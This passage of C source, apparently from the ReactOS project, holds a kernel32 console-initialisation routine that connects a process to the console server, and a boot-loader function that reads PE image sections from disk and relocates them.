return STATUS_SUCCESS; }
BOOL WINAPI BasepInitConsole(VOID) { NTSTATUS Status; PRTL_USER_PROCESS_PARAMETERS Parameters = NtCurrentPeb()->ProcessParameters; WCHAR SessionDir[256]; ULONG SessionId = NtCurrentPeb()->SessionId; BOOLEAN InServer; CONSOLE_CONNECTION_INFO ConnectInfo; ULONG ConnectInfoSize = sizeof(ConnectInfo); DPRINT("BasepInitConsole for : %wZ\n", &Parameters->ImagePathName); DPRINT("Our current console handles are: %lx, %lx, %lx %lx\n", Parameters->ConsoleHandle, Parameters->StandardInput, Parameters->StandardOutput, Parameters->StandardError); /* Initialize our global console DLL lock */ Status = RtlInitializeCriticalSection(&ConsoleLock); if (!NT_SUCCESS(Status)) return FALSE; ConsoleInitialized = TRUE; /* Do nothing if this isn't a console app... */ if (RtlImageNtHeader(GetModuleHandle(NULL))->OptionalHeader.Subsystem != IMAGE_SUBSYSTEM_WINDOWS_CUI) { DPRINT("Image is not a console application\n"); Parameters->ConsoleHandle = NULL; ConnectInfo.ConsoleNeeded = FALSE; // ConsoleNeeded is used for knowing whether or not this is a CUI app. ConnectInfo.ConsoleStartInfo.ConsoleTitle[0] = L'\0'; ConnectInfo.ConsoleStartInfo.AppPath[0] = L'\0'; } else { LPCWSTR ExeName; InitConsoleInfo(&ConnectInfo.ConsoleStartInfo, &Parameters->ImagePathName); /* Initialize Input EXE name */ ExeName = wcsrchr(Parameters->ImagePathName.Buffer, L'\\'); if (ExeName) SetConsoleInputExeNameW(ExeName + 1); /* Assume one is needed */ ConnectInfo.ConsoleNeeded = TRUE; /* Handle the special flags given to us by BasePushProcessParameters */ if (Parameters->ConsoleHandle == HANDLE_DETACHED_PROCESS) { /* No console to create */ DPRINT("No console to create\n"); Parameters->ConsoleHandle = NULL; ConnectInfo.ConsoleNeeded = FALSE; } else if (Parameters->ConsoleHandle == HANDLE_CREATE_NEW_CONSOLE) { /* We'll get the real one soon */ DPRINT("Creating new console\n"); Parameters->ConsoleHandle = NULL; } else if (Parameters->ConsoleHandle == HANDLE_CREATE_NO_WINDOW) { /* We'll get the real one soon */ DPRINT("Creating new invisible console\n"); Parameters->ConsoleHandle = NULL; ConnectInfo.ConsoleStartInfo.ShowWindow = SW_HIDE; } else { if (Parameters->ConsoleHandle == INVALID_HANDLE_VALUE) { Parameters->ConsoleHandle = NULL; } DPRINT("Using existing console: %x\n", Parameters->ConsoleHandle); } } /* Now use the proper console handle */ ConnectInfo.Console = Parameters->ConsoleHandle; /* Initialize the Console Ctrl Handler */ InitConsoleCtrlHandling(); ConnectInfo.CtrlDispatcher = ConsoleControlDispatcher; /* Initialize the Property Dialog Handler */ ConnectInfo.PropDispatcher = PropDialogHandler; /* Setup the right Object Directory path */ if (!SessionId) { /* Use the raw path */ wcscpy(SessionDir, WIN_OBJ_DIR); } else { /* Use the session path */ swprintf(SessionDir, L"%ws\\%ld%ws", SESSION_DIR, SessionId, WIN_OBJ_DIR); } /* Connect to the Console Server */ DPRINT("Connecting to the Console Server in BasepInitConsole...\n"); Status = CsrClientConnectToServer(SessionDir, CONSRV_SERVERDLL_INDEX, &ConnectInfo, &ConnectInfoSize, &InServer); if (!NT_SUCCESS(Status)) { DPRINT1("Failed to connect to the Console Server (Status %lx)\n", Status); return FALSE; } /* Nothing to do for server-to-server */ if (InServer) return TRUE; /* Nothing to do if not a console app */ if (!ConnectInfo.ConsoleNeeded) return TRUE; /* We got the handles, let's set them */ if ((Parameters->ConsoleHandle = ConnectInfo.Console)) { /* If we already had some, don't use the new ones */ if (!Parameters->StandardInput) { Parameters->StandardInput = ConnectInfo.InputHandle; } if (!Parameters->StandardOutput) { Parameters->StandardOutput = ConnectInfo.OutputHandle; } if (!Parameters->StandardError) { Parameters->StandardError = ConnectInfo.ErrorHandle; } } InputWaitHandle = ConnectInfo.InputWaitHandle; DPRINT("Console setup: %lx, %lx, %lx, %lx\n", Parameters->ConsoleHandle, Parameters->StandardInput, Parameters->StandardOutput, Parameters->StandardError); return TRUE; }
/* * WinLdrLoadImage loads the specified image from the file (it doesn't * perform any additional operations on the filename, just directly * calls the file I/O routines), and relocates it so that it's ready * to be used when paging is enabled. * Addressing mode: physical */ BOOLEAN WinLdrLoadImage(IN PCHAR FileName, TYPE_OF_MEMORY MemoryType, OUT PVOID *ImageBasePA) { ULONG FileId; PVOID PhysicalBase; PVOID VirtualBase = NULL; UCHAR HeadersBuffer[SECTOR_SIZE * 2]; PIMAGE_NT_HEADERS NtHeaders; PIMAGE_SECTION_HEADER SectionHeader; ULONG VirtualSize, SizeOfRawData, NumberOfSections; ARC_STATUS Status; LARGE_INTEGER Position; ULONG i, BytesRead; TRACE("WinLdrLoadImage(%s, %ld, *)\n", FileName, MemoryType); /* Open the image file */ Status = ArcOpen(FileName, OpenReadOnly, &FileId); if (Status != ESUCCESS) { // UiMessageBox("Can not open the file."); return FALSE; } /* Load the first 2 sectors of the image so we can read the PE header */ Status = ArcRead(FileId, HeadersBuffer, SECTOR_SIZE * 2, &BytesRead); if (Status != ESUCCESS) { UiMessageBox("Error reading from file."); ArcClose(FileId); return FALSE; } /* Now read the MZ header to get the offset to the PE Header */ NtHeaders = RtlImageNtHeader(HeadersBuffer); if (!NtHeaders) { // Print(L"Error - no NT header found in %s\n", FileName); UiMessageBox("Error - no NT header found."); ArcClose(FileId); return FALSE; } /* Ensure this is executable image */ if (((NtHeaders->FileHeader.Characteristics & IMAGE_FILE_EXECUTABLE_IMAGE) == 0)) { // Print(L"Not an executable image %s\n", FileName); UiMessageBox("Not an executable image."); ArcClose(FileId); return FALSE; } /* Store number of sections to read and a pointer to the first section */ NumberOfSections = NtHeaders->FileHeader.NumberOfSections; SectionHeader = IMAGE_FIRST_SECTION(NtHeaders); /* Try to allocate this memory, if fails - allocate somewhere else */ PhysicalBase = MmAllocateMemoryAtAddress(NtHeaders->OptionalHeader.SizeOfImage, (PVOID)((ULONG)NtHeaders->OptionalHeader.ImageBase & (KSEG0_BASE - 1)), MemoryType); if (PhysicalBase == NULL) { /* It's ok, we don't panic - let's allocate again at any other "low" place */ PhysicalBase = MmAllocateMemoryWithType(NtHeaders->OptionalHeader.SizeOfImage, MemoryType); if (PhysicalBase == NULL) { // Print(L"Failed to alloc pages for image %s\n", FileName); UiMessageBox("Failed to alloc pages for image."); ArcClose(FileId); return FALSE; } } /* This is the real image base - in form of a virtual address */ VirtualBase = PaToVa(PhysicalBase); TRACE("Base PA: 0x%X, VA: 0x%X\n", PhysicalBase, VirtualBase); /* Set to 0 position and fully load the file image */ Position.HighPart = Position.LowPart = 0; Status = ArcSeek(FileId, &Position, SeekAbsolute); if (Status != ESUCCESS) { UiMessageBox("Error seeking to start of file."); ArcClose(FileId); return FALSE; } Status = ArcRead(FileId, PhysicalBase, NtHeaders->OptionalHeader.SizeOfHeaders, &BytesRead); if (Status != ESUCCESS) { // Print(L"Error reading headers %s\n", FileName); UiMessageBox("Error reading headers."); ArcClose(FileId); return FALSE; } /* Reload the NT Header */ NtHeaders = RtlImageNtHeader(PhysicalBase); /* Load the first section */ SectionHeader = IMAGE_FIRST_SECTION(NtHeaders); /* Fill output parameters */ *ImageBasePA = PhysicalBase; /* Walk through each section and read it (check/fix any possible bad situations, if they arise) */ for (i = 0; i < NumberOfSections; i++) { VirtualSize = SectionHeader->Misc.VirtualSize; SizeOfRawData = SectionHeader->SizeOfRawData; /* Handle a case when VirtualSize equals 0 */ if (VirtualSize == 0) VirtualSize = SizeOfRawData; /* If PointerToRawData is 0, then force its size to be also 0 */ if (SectionHeader->PointerToRawData == 0) { SizeOfRawData = 0; } else { /* Cut the loaded size to the VirtualSize extents */ if (SizeOfRawData > VirtualSize) SizeOfRawData = VirtualSize; } /* Actually read the section (if its size is not 0) */ if (SizeOfRawData != 0) { /* Seek to the correct position */ Position.LowPart = SectionHeader->PointerToRawData; Status = ArcSeek(FileId, &Position, SeekAbsolute); TRACE("SH->VA: 0x%X\n", SectionHeader->VirtualAddress); /* Read this section from the file, size = SizeOfRawData */ Status = ArcRead(FileId, (PUCHAR)PhysicalBase + SectionHeader->VirtualAddress, SizeOfRawData, &BytesRead); if (Status != ESUCCESS) { ERR("WinLdrLoadImage(): Error reading section from file!\n"); break; } } /* Size of data is less than the virtual size - fill up the remainder with zeroes */ if (SizeOfRawData < VirtualSize) { TRACE("WinLdrLoadImage(): SORD %d < VS %d\n", SizeOfRawData, VirtualSize); RtlZeroMemory((PVOID)(SectionHeader->VirtualAddress + (ULONG_PTR)PhysicalBase + SizeOfRawData), VirtualSize - SizeOfRawData); } SectionHeader++; } /* We are done with the file - close it */ ArcClose(FileId); /* If loading failed - return right now */ if (Status != ESUCCESS) return FALSE; /* Relocate the image, if it needs it */ if (NtHeaders->OptionalHeader.ImageBase != (ULONG_PTR)VirtualBase) { WARN("Relocating %p -> %p\n", NtHeaders->OptionalHeader.ImageBase, VirtualBase); return (BOOLEAN)LdrRelocateImageWithBias(PhysicalBase, (ULONG_PTR)VirtualBase - (ULONG_PTR)PhysicalBase, "FreeLdr", TRUE, TRUE, /* in case of conflict still return success */ FALSE); } TRACE("WinLdrLoadImage() done, PA = %p\n", *ImageBasePA); return TRUE; }